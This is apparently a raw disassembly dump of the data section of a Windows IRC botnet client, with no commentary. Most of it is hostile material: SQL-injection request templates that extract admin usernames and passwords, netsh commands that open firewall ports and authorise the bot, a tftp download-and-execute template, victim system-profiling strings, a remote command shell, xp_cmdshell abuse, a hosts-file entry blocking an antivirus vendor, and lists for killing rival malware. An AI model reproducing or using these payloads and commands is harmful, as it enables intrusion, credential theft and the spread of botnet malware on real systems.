aMozilla5_0X1_0 db 'Mozilla/5.0 (X11; U; openSuSe i686; SMP; en-US; rv:1.7) Gecko/200'
; DATA XREF: ?9:004463C8o
db '51223',0
align 4
aWget1_8 db 'Wget/1.8',0 ; DATA XREF: ?9:004463C4o
align 4
aScooter3_2 db 'Scooter/3.2',0 ; DATA XREF: ?9:004463C0o
aMozilla5_0X11U db 'Mozilla/5.0 (X11; U; FreeBSD i386; en-US; rv:1.5) Gecko/20031021',0
; DATA XREF: ?9:004463BCo
align 8
aMozilla5_0Wi_1 db 'Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.5a) Gecko/20'
; DATA XREF: ?9:004463B8o
db '030728 Mozilla Firebird/0.7',0
align 4
aMozilla5_0Wi_0 db 'Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.5a) Gecko/20'
; DATA XREF: ?9:004463B4o
db '020718',0
aMozilla5_0Wind db 'Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.5) Gecko/200'
; DATA XREF: ?9:004463B0o
db '31007',0
align 4
aMozilla5_0Sl_0 db 'Mozilla/5.0 (Slurp/si; slurp@inktomi.com; http://www.inktomi.com/'
; DATA XREF: ?9:004463ACo
db 'slurp.html)',0
align 4
aMozilla5_0Slur db 'Mozilla/5.0 (Slurp/cat; slurp@inktomi.com; http://www.inktomi.com'
; DATA XREF: ?9:004463A8o
db '/slurp.html)',0
align 4
aMozilla4_75En db 'Mozilla/4.75 [en]',0 ; DATA XREF: ?9:004463A4o
align 10h
aMozilla5_0Co_4 db 'Mozilla/5.0 compatible ZyBorg/1.0 (wn.zyborg@looksmart.net; http:'
; DATA XREF: ?9:004463A0o
db '//www.WISEnutbot.com)',0
align 4
aMozilla5_0Co_3 db 'Mozilla/5.0 (compatible; MSIE 6.0; Windows NT 5.1; Q312461)',0
; DATA XREF: ?9:0044639Co
align 8
aMozilla5_0Co_2 db 'Mozilla/5.0 (compatible; MSIE 6.0; Windows NT 5.1; ODI3 Navigator'
; DATA XREF: ?9:00446398o
db ')',0
align 10h
aMozilla5_0Co_1 db 'Mozilla/5.0 (compatible; MSIE 6.0; Windows NT 5.1; Hotbar 4.3.1.0'
; DATA XREF: ?9:00446394o
db ')',0
align 8
aMozilla5_0Co_0 db 'Mozilla/5.0 (compatible; MSIE 6.0; Windows NT 5.1; FunWebProducts'
; DATA XREF: ?9:00446390o
db '-MyWay; (R1 1.3); .NET CLR 1.1.4322)',0
align 10h
aMozilla5_0Comp db 'Mozilla/5.0 (compatible; MSIE 6.0; Windows NT 5.1; DigExt+ .NET C'
; DATA XREF: ?9:0044638Co
db 'LR)',0
align 4
aMozilla4_0C_10 db 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser;'
; DATA XREF: ?9:00446388o
db ' .NET CLR 1.1.4322)',0
align 10h
aMozilla4_0Co_9 db 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4'
; DATA XREF: ?9:00446384o
db '322; .NET CLR 1.0.3705)',0
align 10h
aMozilla4_0Co_8 db 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4'
; DATA XREF: ?9:00446380o
db '322)',0
align 4
aMozilla4_0Co_7 db 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)',0
; DATA XREF: ?9:0044637Co
align 10h
aMozilla4_0Co_6 db 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1.0.3'
; DATA XREF: ?9:00446378o
db '705; .NET CLR 1.1.4322)',0
align 4
aMozilla4_0Co_5 db 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)',0
; DATA XREF: ?9:00446374o
align 10h
aMozilla4_0Co_4 db 'Mozilla/4.0 (compatible; MSIE 6.0; Windows ME; Win 9x 4.90; H0108'
; DATA XREF: ?9:00446370o
db '18; AT&T CSM6.0)',0
align 4
aMozilla4_0Co_3 db 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Q312461)',0
; DATA XREF: ?9:0044636Co
align 4
aMozilla4_0Co_2 db 'Mozilla/4.0 (compatible; MSIE 5.5; Windows ME)',0
; DATA XREF: ?9:00446368o
align 4
aGooglebot1_9_1 db 'Googlebot/1.9.1 (http://www.google.com/tools/bot.php)',0
; DATA XREF: ?9:00446364o
align 4
aMozilla4_0Co_1 db 'Mozilla/4.0 (compatible; MSIE 5.0; Windows 98; DigExt)',0
; DATA XREF: ?9:00446360o
align 4
aGooglebot1_9Ht db 'Googlebot/1.9 (http://www.google.com/tools/bot.php)',0
; DATA XREF: ?9:0044635Co
aMozilla4_0Co_0 db 'Mozilla/4.0 (compatible; MSIE 4.01; Windows 98)',0
; DATA XREF: ?9:00446358o
aGooglebot2_1_0 db 'Googlebot/2.1 (http://www.google.com/bot.php)',0
; DATA XREF: ?9:00446354o
align 4
aMozilla4_0Comp db 'Mozilla/4.0 (compatible; MSIE 4.01; Windows 95)',0
; DATA XREF: ?9:00446350o
aGooglebot2_0_0 db 'Googlebot/2.0 (http://www.google.com/bot.php)',0
; DATA XREF: ?9:0044634Co
align 4
aMicrosoftWebda db 'Microsoft-WebDAV-MiniRedir/5.1.2600',0 ; DATA XREF: ?9:00446348o
aGooglebot2_1Ht db 'Googlebot/2.1 (+http://www.googlebot.com/bot.html)',0
; DATA XREF: ?9:00446344o
align 10h
aLynx2_8_4rel_1 db 'Lynx/2.8.4rel.1 libwww-FM/2.14 SSL-MM/1.4.1 GNUTLS/0.8.6',0
; DATA XREF: ?9:00446340o
align 4
aGooglebot2_0Ht db 'Googlebot/2.0 (+http://www.googlebot.com/bot.html)',0
; DATA XREF: ?9:0044633Co
align 10h
aFastWebcrawler db 'FAST-WebCrawler/3.8 (atw-crawler at fast dot no; http://fast.no/s'
; DATA XREF: ?9:off_446338o
db 'upport/crawler.asp)',0
align 4
aD_0 db '%d',0 ; DATA XREF: sub_41BD3B+20Eo
align 4
asc_446DCC db 0Dh,0Ah ; DATA XREF: sub_419A4B+BBo
db 0Dh,0Ah,0
align 4
a@_6: ; DATA XREF: sub_419B88+CFo
; sub_419B88+147o ...
unicode 0, <@>,0
asc_446DD8: ; DATA XREF: sub_419B88:loc_419C0Eo
; sub_424627+48o ...
unicode 0, </>,0
aFtp db 'ftp',0 ; DATA XREF: sub_419B88+72o
; sub_419B88:loc_419D41o ...
aHttp db 'http',0 ; DATA XREF: sub_419B88+62o
; sub_419B88+1A2o ...
align 4
asc_446DE8: ; DATA XREF: sub_419B88+34o
; sub_423BB1+3D5o ...
unicode 0, <:>,0
aSSSU db '%s %s -> %s:%u',0 ; DATA XREF: ?9:0041B00Do
align 4
aIframe db 'iframe',0 ; DATA XREF: ?9:0041ACC8o
align 4
aFrame db 'frame',0 ; DATA XREF: ?9:loc_41ACB4o
align 4
aEmbed db 'embed',0 ; DATA XREF: ?9:loc_41AA16o
align 4
off_446E14 dd offset byte_637273 ; DATA XREF: ?9:0041A82Eo ?9:0041AACCo ...
off_446E18 dd offset byte_676D69 ; DATA XREF: ?9:loc_41A778o
align 10h
aGetS1UnionSe_1 db 'GET %s=-1+union+select+1,2,concat_ws(char(58),version(),user(),no'
; DATA XREF: ?9:0041A71Fo
db 'w()) HTTP/1.1',0Dh,0Ah
db 'Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, appl'
db 'ication/x-shockwave-flash, application/vnd.ms-excel, application/'
db 'msword, */*',0Dh,0Ah
db 'Accept-Language: en-us,en',0Dh,0Ah
db 'User-Agent: %s',0Dh,0Ah
db '%s',0Dh,0Ah
db 'Referer: %s',0Dh,0Ah
db 'Connection: close',0Dh,0Ah
db 0Dh,0Ah,0
align 8
aGetS1UnionSe_0 db 'GET %s=-1+union+select+1,2,concat_ws(0x3a3a,Username,Password)+fr'
; DATA XREF: ?9:0041A6C8o
db 'om+admin HTTP/1.1',0Dh,0Ah
db 'Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, appl'
db 'ication/x-shockwave-flash, application/vnd.ms-excel, application/'
db 'msword, */*',0Dh,0Ah
db 'Accept-Language: en-us,en',0Dh,0Ah
db 'User-Agent: %s',0Dh,0Ah
db '%s',0Dh,0Ah
db 'Referer: %s',0Dh,0Ah
db 'Connection: close',0Dh,0Ah
db 0Dh,0Ah,0
align 10h
aGetS1UnionSele db 'GET %s=-1+union+select+database(),version(),system_user(),session'
; DATA XREF: ?9:0041A671o
db '_user(),current_user(),last_insert_id(),3,4,5,6,user()/* HTTP/1.1'
db 0Dh,0Ah
db 'Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, appl'
db 'ication/x-shockwave-flash, application/vnd.ms-excel, application/'
db 'msword, */*',0Dh,0Ah
db 'Accept-Language: en-us,en',0Dh,0Ah
db 'User-Agent: %s',0Dh,0Ah
db '%s',0Dh,0Ah
db 'Referer: %s',0Dh,0Ah
db 'Connection: close',0Dh,0Ah
db 0Dh,0Ah,0
align 4
aHttpSDSS db 'http://%s:%d%s%s',0 ; DATA XREF: ?9:0041A58Co ?9:0041A92Fo ...
align 4
aHttp_0 db 'http://',0 ; DATA XREF: ?9:loc_41A53Ao
; ?9:loc_41A8DDo ...
aHttpSDS db 'http://%s:%d%s',0 ; DATA XREF: ?9:0041A52Ao ?9:0041A8CDo ...
align 4
aHref db 'href',0 ; DATA XREF: ?9:0041A48Bo
align 4
aRefresh db '"Refresh"',0 ; DATA XREF: ?9:0041A23Fo
align 4
aMeta db 'meta',0 ; DATA XREF: ?9:0041A223o
align 10h
aGetSHttp1_1Acc db 'GET %s HTTP/1.1',0Dh,0Ah ; DATA XREF: ?9:0041A15Fo
; ?9:0041A38Ao ...
db 'Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, appl'
db 'ication/x-shockwave-flash, application/vnd.ms-excel, application/'
db 'msword, */*',0Dh,0Ah
db 'Accept-Language: en-us,en',0Dh,0Ah
db 'User-Agent: %s',0Dh,0Ah
db '%s',0Dh,0Ah
db 'Referer: %s',0Dh,0Ah
db 'Connection: close',0Dh,0Ah
db 0Dh,0Ah,0
align 4
aHostSD db 'Host: %s:%d',0 ; DATA XREF: ?9:0041A12Fo ?9:0041A35Do ...
aHostS db 'Host: %s',0 ; DATA XREF: ?9:0041A110o ?9:0041A341o ...
align 4
asc_44734C: ; DATA XREF: ?9:0041A0C7o
; sub_424DE2+170o
unicode 0, <=>,0
aFailedToParse_ db 'Failed to parse.',0 ; DATA XREF: ?9:0041A03Co
align 4
off_447364 dd offset off_4374BC ; DATA XREF: ?9:004380C4o ?9:00438414o
dd 0
a_?avexception@ db '.?AVexception@@',0
off_44737C dd offset off_4374BC ; DATA XREF: ?9:off_437F68o
; ?9:00437FFCo ...
dd 0
a_?avlogic_erro db '.?AVlogic_error@std@@',0
align 4
off_44739C dd offset off_4374BC ; DATA XREF: ?9:off_438008o
; ?9:0043804Co ...
dd 0
a_?avout_of_ran db '.?AVout_of_range@std@@',0
align 4
aInvalidVectorT db 'invalid vector<T> subscript',0 ; DATA XREF: sub_41B12F+1Eo
dword_4473D8 dd 6E6B6E55h ; sub_420094+2Er
dword_4473DC dd 6E776Fh ; sub_420094+3Er
off_4473E0 dd offset byte_5C3A41 ; DATA XREF: sub_41BD3B:loc_41BFBAo
aSEndOfList_ db '%s End of list.',0 ; DATA XREF: sub_423650+BCo
aDDayS0_2d0_2d0 db '%d day%s %0.2d:%0.2d:%0.2d',0 ; DATA XREF: sub_41B932+F2o
align 10h
aS_2: ; DATA XREF: sub_41B932+E8o
; sub_41BAC3+65o ...
unicode 0, <s>,0
a0_2d0_2d0_2d db '%0.2d:%0.2d:%0.2d',0 ; DATA XREF: sub_41B932+CEo
align 4
aDDayS0_2d0_2d db '%d day%s %0.2d:%0.2d',0 ; DATA XREF: sub_41BAC3+6Eo
align 10h
aSD_1 db '%s <%d>',0 ; DATA XREF: sub_41BAC3+28o
aSCpuI64umhzRam db '%s (CPU): %I64uMHz, (RAM): %sMB total, %sMB free, (OS): Windows %'
; DATA XREF: sub_41BD3B+35Ao
db 's (%d.%d - %d). (SysDir): %s. (Computer Name): %s, (Current User)'
db ': %s, (Date): %s, (Time): %s, (UpTime): %s, (FreeSpace): %I64uGB/'
db '%I64uGB.',0
aHhMmSs db 'HH:mm:ss',0 ; DATA XREF: sub_41BD3B+1C5o
align 10h
aDddMmmDdYyyy db 'ddd, MMM dd, yyyy',0 ; DATA XREF: sub_41BD3B+1A9o
align 4
aSS_3 db '%s (%s)',0 ; DATA XREF: sub_41BD3B+14Ao
a2k8 db '2K8',0 ; DATA XREF: sub_41BD3B:loc_41BE4Bo
; sub_41D252:loc_41D362o ...
aVista_0 db 'Vista',0 ; DATA XREF: sub_41BD3B+107o
; sub_41D252+109o ...
align 4
a2k3_0 db '2K3',0 ; DATA XREF: sub_41BD3B+E7o
; sub_41D252+EAo ...
aXp db 'XP',0 ; DATA XREF: sub_41BD3B+D5o
; sub_41D252+DAo ...
align 10h
a2k db '2K',0 ; DATA XREF: sub_41BD3B+C3o
; sub_41D252+CAo ...
align 4
aMe_0 db 'ME',0 ; DATA XREF: sub_41BD3B+A9o
; sub_41D252+B1o ...
align 4
aNt_0 db 'NT',0 ; DATA XREF: sub_41BD3B+7Bo
; sub_41D252+8Eo ...
align 4
aD_D db '%d.%d',0 ; DATA XREF: sub_41BD3B+3Bo
; sub_41D252+51o ...
align 4
a??? db '???',0 ; DATA XREF: sub_41BD3B+16o
; sub_420094+4Ao
aBandwidthDownl db '(Bandwidth): Downloaded: %s, Uploaded: %s.',0
; DATA XREF: sub_41C172+18Bo
align 8
aSConnectionSSI db '%s (Connection): %s (%s), (IntIP): %s, (ExtIP): %s, (HostName): %'
; DATA XREF: sub_41C172+16Bo
db 's, (Private): %s ',0
align 4
aNo db 'No',0 ; DATA XREF: sub_41C172+145o
align 10h
aYes db 'Yes',0 ; DATA XREF: sub_41C172+13Eo
aSkb db '%sKB',0 ; DATA XREF: sub_41C172+108o
align 4
aSgb db '%sGB',0 ; DATA XREF: sub_41C172+EAo
align 4
aSmb db '%sMB',0 ; DATA XREF: sub_41C172+C7o
align 4
off_44760C dd offset loc_412F4A+4 ; DATA XREF: sub_41C172:loc_41C1EAo
off_447610 dd offset dword_4E414C ; DATA XREF: sub_41C172:loc_41C1E3o
dword_447614 dd 6C616944h, 412F7075h, 4C5344hdword_447620 dd 20746F4Eh, 6E6E6F63h, 65746365h, 64haPingTimeout?DD db 'Ping Timeout? (%d-%d)%d/%d',0 ; DATA XREF: ?9:0041C401o
align 4
aSLoginListComp db '%s Login List complete.',0 ; DATA XREF: sub_41C6FF+69o
aIEmpty db '<%i> <Empty>',0 ; DATA XREF: sub_41C6FF+46o
align 4
aISS@S db '<%i> %s!%s@%s',0 ; DATA XREF: sub_41C6FF+34o
align 4
aSLoginList db '%s Login List:',0 ; DATA XREF: sub_41C6FF+Fo
align 4
aSS0S db '%s %s * 0 :%s',0Dh,0Ah,0 ; DATA XREF: sub_41C7EB+1B1o
aSS db '%s %s',0Dh,0Ah,0 ; DATA XREF: sub_41C7EB+168o
; sub_41C9EE+41o ...
a___ db '...',0 ; DATA XREF: sub_41C9BC+9o
; sub_432FD0+BFo
asc_4476B0 db 0Dh,0Ah,0 ; DATA XREF: sub_41CAC6+Ao
; sub_425D4F+FDo
align 4
aSSS_1 db '%s %s :%s',0Dh,0Ah,0 ; DATA XREF: sub_41CD0E+54o
; sub_41CD84+54o ...
dword_4476C0 dd 25207325h, 13A2073h, 20434344h, 444E4553h, 1732520h
; DATA XREF: sub_41CDFA+43o
dd 0A0Dh
dword_4476D8 dd 25207325h, 73252073h, 0A0Dh ; sub_41D04A+1Fo
dword_4476E4 dd 25207325h, 73252073h, 0D732520h, 0Ahdword_4476F4 dd 7C7325h off_4476F8 dd offset byte_4E4957 ; DATA XREF: sub_41D252+19o
; sub_41D3AF+15o ...
dword_4476FC dd 257C7325h, 63257C73h, 63256325h, 0dword_44770C dd 6925h ; sub_41FD79+1C6o
dword_447710 dd 7Ch ; sub_41D529:loc_41D5CEo ...
aCCCCCCCCC db '%c%c%c%c%c%c%c%c%c',0 ; DATA XREF: sub_41D5E0:loc_41D6F7o
; sub_41D851+E9o
align 4
aDCCCCCCCCC db '|%d|%c%c%c%c%c%c%c%c%c',0 ; DATA XREF: sub_41D5E0+107o
align 10h
aSCCCCCCCCC db '%s%c%c%c%c%c%c%c%c%c',0 ; DATA XREF: sub_41D70C:loc_41D834o
align 4
aDSCCCCCCCCC db '|%d|%s%c%c%c%c%c%c%c%c%c',0 ; DATA XREF: sub_41D70C+118o
align 4
a_2d db '%.2d',0 ; DATA XREF: sub_41D94F+86o
align 4
aP: ; DATA XREF: sub_41D94F+6Fo
; ?9:0044F388o
unicode 0, <P>,0
aM: ; DATA XREF: sub_41D94F+51o
; ?9:0044F3C8o ...
unicode 0, <M>,0
aP_0 db 'P|',0 ; DATA XREF: sub_41DA00+59o
align 4
aM_0 db 'M|',0 ; DATA XREF: sub_41DA00+3Fo
align 4
aSSS_2 db '%s %s -> %s',0 ; DATA XREF: sub_41DAA5+139o
; sub_41DC43+109o ...
aCouldnTResolve db 'Couldn',27h,'t resolve',0 ; DATA XREF: sub_41E380:loc_41E3E5o
align 4
a90 db '90',0 ; DATA XREF: sub_41E3FB:loc_41E4ABo
align 10h
a168 db '168',0 ; DATA XREF: sub_41E3FB+A2o
a192 db '192',0 ; DATA XREF: sub_41E3FB:loc_41E491o
a16 db '16',0 ; DATA XREF: sub_41E3FB+88o
align 4
a172 db '172',0 ; DATA XREF: sub_41E3FB+7Co
a10 db '10',0 ; DATA XREF: sub_41E3FB+70o
align 4
aProccessHasTer db 'Proccess has terminated.',0Dh,0Ah,0 ; DATA XREF: sub_41E59B+117o
align 10h
aCouldNotReadDa db 'Could not read data from proccess.',0Dh,0Ah,0
; DATA XREF: sub_41E59B:loc_41E689o
; sub_41E59B:loc_41E6D5o
align 4
aSFailedToStart db '%s Failed to start IO thread, error: <%d>.',0
; DATA XREF: sub_41E6F8+19Co
align 4
aSCmdPrompt db '%s CMD Prompt',0 ; DATA XREF: sub_41E6F8+151o
align 4
aCmd_exe db 'cmd.exe',0 ; DATA XREF: sub_41E6F8+2Co
; sub_42B019+86o ...
align 10h
aSystemCurren_5 db 'SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\Firewal'
; DATA XREF: sub_41E8A9+91o
db 'lPolicy\DomainProfile\AuthorizedApplications\List',0
align 8
aSystemCurren_4 db 'SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\Firewal'
; DATA XREF: sub_41E8A9+55o
db 'lPolicy\StandardProfile\AuthorizedApplications\List',0
align 10h
aEnabled db ':*:Enabled:',0 ; DATA XREF: sub_41E8A9+25o
aFirewallSetAll db 'firewall set allowedprogram "%s" workstation ENABLE ALL',0
; DATA XREF: sub_41E96A+138o
aFirewallAddAll db 'firewall add allowedprogram "%s" workstation ENABLE ALL',0
; DATA XREF: sub_41E96A+10Ao
aFirewallSetP_4 db 'firewall set portopening TCP 9991 PORT2',0 ; DATA XREF: sub_41E96A+C4o
aFirewallSetP_3 db 'firewall set portopening TCP 9999 PORT1',0 ; DATA XREF: sub_41E96A+9Bo
aFirewallSetP_2 db 'firewall set portopening TCP 1013 BS',0 ; DATA XREF: sub_41E96A+72o
align 4
aFirewallSetP_1 db 'firewall set portopening TCP 139 NB',0 ; DATA XREF: sub_41E96A+49o
aNetsh db 'netsh',0 ; DATA XREF: sub_41E96A+39o
; sub_41EAD6+33o
align 10h
aFirewallSetP_0 db 'firewall set portopening TCP 445 NB',0 ; DATA XREF: sub_41E96A+Eo
aFirewallSetPor db 'firewall set portopening TCP %d FD',0 ; DATA XREF: sub_41EAD6+15o
align 4
aClosedI db 'closed %i',0Ah,0 ; DATA XREF: sub_41EBD7+159o
align 4
aCloseError db 'close error',0Ah,0 ; DATA XREF: sub_41EBD7+147o
align 8
dd offset aRxIrc ; "Rx IRC"
off_447ACC dd offset aIrc_0 ; DATA XREF: sub_41EDC3+95r
; sub_41EDC3+A3o
; "[IRC]: "
dd offset aRxIrc_c ; "Rx IRC.c"
dd offset aIrc ; "IRC//"
dd offset aPiabot ; "PiABot"
dd offset dword_44D9B8
dd offset dword_44D9AC
dd offset dword_44D9A0
dd offset dword_44D998
dd offset dword_44D98C
dd offset dword_44D980
dd offset dword_44D970
dd offset dword_44D964
dd offset dword_44D95C
dd offset dword_44D94C
dd offset dword_44D944
dd offset dword_44D934
dd offset dword_44D92C
dd offset dword_44D920
dd offset dword_44D914
dd offset dword_44D908
dd offset dword_44D8FC
dd offset dword_44D8F0
dd offset dword_44D8E0
dd offset dword_44D8D0
dd offset dword_44D8C0
dd offset aRxnzm ; "RxNZM"
dd offset dword_44D89C
dd offset aRxnzm_b ; "RxNZM.b"
dd offset a_n_z_m_Irc_p_l ; ".n.z.m. (irc.p.l.g) .»». "
dd offset dword_44D870
dd offset dword_44D850
dd offset dword_44D844
dd offset dword_44D838
dd offset dword_44D828
dd offset dword_44D81C
dd offset dword_44D810
dd offset dword_44D804
dd offset dword_44D7F4
dd offset dword_44D7E8
dd offset dword_44D7E0
dd offset dword_44D7D4
dd offset dword_44D7CC
dd offset loc_44D7C0
dd offset dword_44D7B8
dd offset loc_44D7AC
dd offset dword_44D7A4
dd offset dword_44D79C
dd offset dword_44D794
dd offset loc_44D788
dd offset aRepFtpd ; "Rep FTPd"
dd offset aReptileWelcome ; "Reptile welcomes you..."
dd offset aRep08Ftpd ; "Rep08 FTPd"
dd offset a220ReptileWelc ; "220 Reptile welcomes you..\r\n"
dd offset aRep08Main ; "Rep08 Main"
dd offset aMain_0 ; "-MAiN-"
dd offset aStnyftpd ; "StnyFtpd"
dd offset aStnyftpd0wnsJ0 ; "StnyFtpd 0wns j00"
dd offset aAgobot ; "AgoBot"
dd offset a220WelcomeToBo ; "220 \"Welcome to Bot FTP service.\"\r\n"
dd offset aPhatbot ; "PhatBot"
dd offset a220BotServerWi ; "220 Bot Server (Win32)\r\n"
dd offset aTftpget_a ; "TFTPGet.a"
dd offset aTftpISGetSS ; "tftp -i %s get %s &%s\n"
dd offset aRxTftp ; "Rx TFTP"
dd offset aTftp ; "[TFTP]"
dd offset aTftpget_b ; "TFTPGet.b"
dd offset aCmdCTftpISGetS ; "cmd /c tftp -i %s GET %s &start %s &exi"...
dd offset dword_44D63C
dd offset loc_44D630
dd offset dword_44D628
dd offset dword_44D61C
dd offset dword_44D60C
dd offset dword_44D600
dd offset dword_44D5F8
dd offset dword_44D5EC
dd offset dword_44D5E4
dd offset loc_44D5D8
dd offset aC101 ; "C101"
dd offset dword_44D5C4
dd offset off_44D5C0
dd offset a3GsUT ; "3Ƀé°ÙîÙt"
dd offset aNetapi4444bind ; "Netapi4444Bind"
dd offset dword_44D598
dd offset off_44D594
dd offset dword_44D588
dd offset aRbot_psniff ; "rbot.psniff"
dd offset aPsniffThread ; "psniff thread"
dd offset aQ8 ; "Q8"
dd offset aWeBackLooooooo ; "We BaCk LoooooooooooOOOOOOOOOOOOOooo"
dd offset dword_44D530
dd offset dword_44D520
dd offset dword_44D510
dd offset dword_44D500
dd offset aLinkbot_dcom_b ; "Linkbot.dcom.b"
dd offset aDcom2_c ; "dcom2.c:"
dd offset aLinkbot_dcom_c ; "Linkbot.dcom.c"
dd offset aDcom2 ; "dcom2:"
dd offset aLinkbot_rpc ; "Linkbot.RPC"
dd offset aRpc_c ; "RPC.c:"
dd offset aLinkbot_shellc ; "Linkbot.Shellcode"
dd offset dword_44D490
dd offset aOtherbot_a ; "Otherbot.a"
dd offset aScan_start ; "scan.start"
dd offset aOtherbot_b ; "Otherbot.b"
dd offset aRoot_start ; "root.start"
dd offset aIroffer_a ; "Iroffer.a"
dd offset aHttpIroffer_or ; "http://iroffer.org/"
dd offset aIroffer_b ; "Iroffer.b"
dd offset aTotalOffered1_ ; "Total Offered: %1.1f MB Total Transfer"...
dd offset aIrofferAll ; "Iroffer-All"
dd offset aSendingYouPack ; "** Sending you pack #%i (\"%s\"), which i"...
dd offset dword_44D3A0
dd offset dword_44D398
dd offset aMydoom_b ; "MyDoom.B"
dd offset aFbsgjnerZvpebf ; "Fbsgjner\\Zvpebfbsg\\JNO\\JNO4\\Jno Svyr An"...
dd offset aMydoom_c ; "MyDoom.C"
dd offset aFbsgjnerZvpe_0 ; "Fbsgjner\\Zvpebfbsg\\Jvaqbjf\\PheeragIrefv"...
dd offset aBlaster ; "Blaster"
dd offset dword_44D2FC
dd offset aZotobForbotMod ; "Zotob/ForBot Mods"
dd offset aAddexExinfo ; "AddEx(exinfo)"
dd offset aWelchia_a ; "Welchia.a"
dd offset aRpcpatch_mutex ; "RpcPatch_Mutex"
dd offset dword_44D2B0
dd offset dword_44D2FC
dd offset dword_44D2A4
dd offset dword_44D290
dd offset aChangehosts ; "ChangeHosts"
dd offset a127_0_0_1Www_s ; "\n127.0.0.1\twww.symantec.com\n"
dd offset dword_44D254
dd offset dword_44D248
dd offset dword_44D240
dd offset dword_44D22C
dd offset aPnp_b ; "PNP.b"
dd offset a8d9f4e40A03d11 ; "8d9f4e40-a03d-11ce-8f69-08003e30051b"
dd offset aMssql_a ; "MSSQL.A"
dd offset aThcthcthcthcth ; "THCTHCTHCTHCTHCTHCTHCTHCTHCTHCTHCTHCTHC"...
dd offset aMssql_b ; "MSSQL.B"
dd offset aExecMaster__xp ; "EXEC master..xp_cmdshell"
dd offset aWebdav ; "WebDav"
dd offset loc_44D188
dd offset aRxMain ; "Rx Main"
dd offset aMain ; "[MAIN]: "
dd offset aIis5ssl ; "IIS5SSL"
dd offset byte_44D15C
dd offset aVncscan ; "VNCScan"
dd offset aSystemrootSyst ; "%systemroot%\\system32\\cmd.exe"
dd offset aNetdevil ; "NetDevil"
dd offset aPleaz_runS ; "pleaz_run%s"
dd offset aOptix ; "Optix"
dd offset a022moptestmv1_ ; "022¬OPtest¬v1.1\r\n"
dd offset loc_44D0F3+5
dd offset loc_44D0EF+1
dd offset aOld4444shell ; "Old4444Shell"
dd offset loc_44D0D4
dd offset dword_44D0C8
dd offset dword_44D0B4
dd offset dword_44D0A4
dd offset loc_44D090
dd offset dword_44D080
dd offset loc_44D06C
dd offset dword_44D05C
dd offset dword_44D048
dd offset dword_44D03C
dd offset loc_44D024
dd offset aBobic_a ; "Bobic.A"
dd offset aOsamaBinLadenC ; "Osama Bin Laden Captured."
dd offset aBobic_b ; "Bobic.B"
dd offset aDonateToTheHur ; "Donate to the Hurricane Katrina relief "...
dd offset aBeagle ; "Beagle"
dd offset dword_44CFAC
dd offset aMsblast ; "MsBlast"
dd offset aWindowsupdate_ ; "windowsupdate.com"
dd offset aLowerzones ; "LowerZones"
dd offset aSoftwareMicr_6 ; "Software\\Microsoft\\Windows\\CurrentVersi"...
dd offset aHiderGui ; "Hider-Gui"
dd offset aSoftwareAdrian ; "Software\\Adrian Lopez\\HideWindow\\Prefer"...
dd offset aHiderun ; "HideRun"
dd offset aHiderunHiddenA ; "HideRun -- hidden application launcher."...
dd offset aR57 ; "r57"
dd offset aI2luy2x1zgugph ; "I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA"...
dd offset aC99 ; "c99"
dd offset aR0lgodlhfaauak ; "R0lGODlhFAAUAKIAAAAAAP//////93d3cDAwIaG"...
dd offset aDcomOldScan ; "Dcom-Old-Scan"
dd offset aPipeEpmapper ; "pipe\\epmapper\\"
dd offset aNircomline ; "NirComLine"
dd offset aNircomline ; "NirComLine"
dd offset aMsnbot_a ; "MSNBot.a"
; ---------------------------------------------------------------------------
cmp ch, cl
inc esp
add ds:0CCF00044h[ecx*8], ch
inc esp
add al, ah
int 3 ; Trap to Debugger
inc esp
add [esp+ecx*8-335BFFBCh], dh
inc esp
add [esp+ecx*8+44h], ch
add [esp+ecx*8+44h], bl
add [esp+ecx*8], ch
inc esp
add [eax], bl
int 3 ; Trap to Debugger
inc esp
add [eax+740044CBh], al
retf
; ---------------------------------------------------------------------------
dw 44h
; ---------------------------------------------------------------------------
push 5C0044CBh
retf
; ---------------------------------------------------------------------------
dw 44h
dd offset aMsdirectx_sys ; "msdirectx.sys"
; ---------------------------------------------------------------------------
xor al, 0CBh
inc esp
add [eax], cl
retf
; ---------------------------------------------------------------------------
dw 44h
; ---------------------------------------------------------------------------
cld
retf 44h
; ---------------------------------------------------------------------------
mov al, 0CAh
inc esp
add [eax+6C0044CAh], ah
retf 44h
; ---------------------------------------------------------------------------
pop esp
retf 44h
; ---------------------------------------------------------------------------
inc eax
retf 44h
; ---------------------------------------------------------------------------
dd offset dword_44CA30
dd offset loc_44CA1C
dd offset aNtbot_a ; "NTBot.A"
dd offset aStaticConstUns ; "static const unsigned long crc32tab[256"...
dd offset aNtbot_b ; "NTBot.B"
dd offset aExploitingSUse ; "(Exploiting: %s User: %s / Pass: %s\r\n)"
dd offset dword_44C9A8
dd offset dword_44C984
dd offset dword_44C978
dd offset dword_44C960
dd 2 dup(0)
off_447E48 dd offset a_tmp_exe_0 ; DATA XREF: sub_41F02F+1FEr
; sub_41F02F+274r
; "*.tmp.exe"
dd offset a_tmp_exe ; "*.TMP.EXE"
dd offset aEraseme_exe_1 ; "eraseme*.exe"
dd offset aEraseme_exe_0 ; "ERASEME*.EXE"
dd offset aSsms_exe ; "ssms.exe"
dd offset aMsile_exe ; "msile.exe"
dd offset aWorm32_exe_0 ; "worm32.exe"
dd offset aPenis_exe ; "penis.exe"
dd offset aPenis32_exe_0 ; "penis32.exe"
dd offset aMsblast_exe_0 ; "msblast.exe"
dd offset aKernel32_exe_0 ; "kernel32.exe"
dd offset aSvhost_exe_0 ; "svhost.exe"
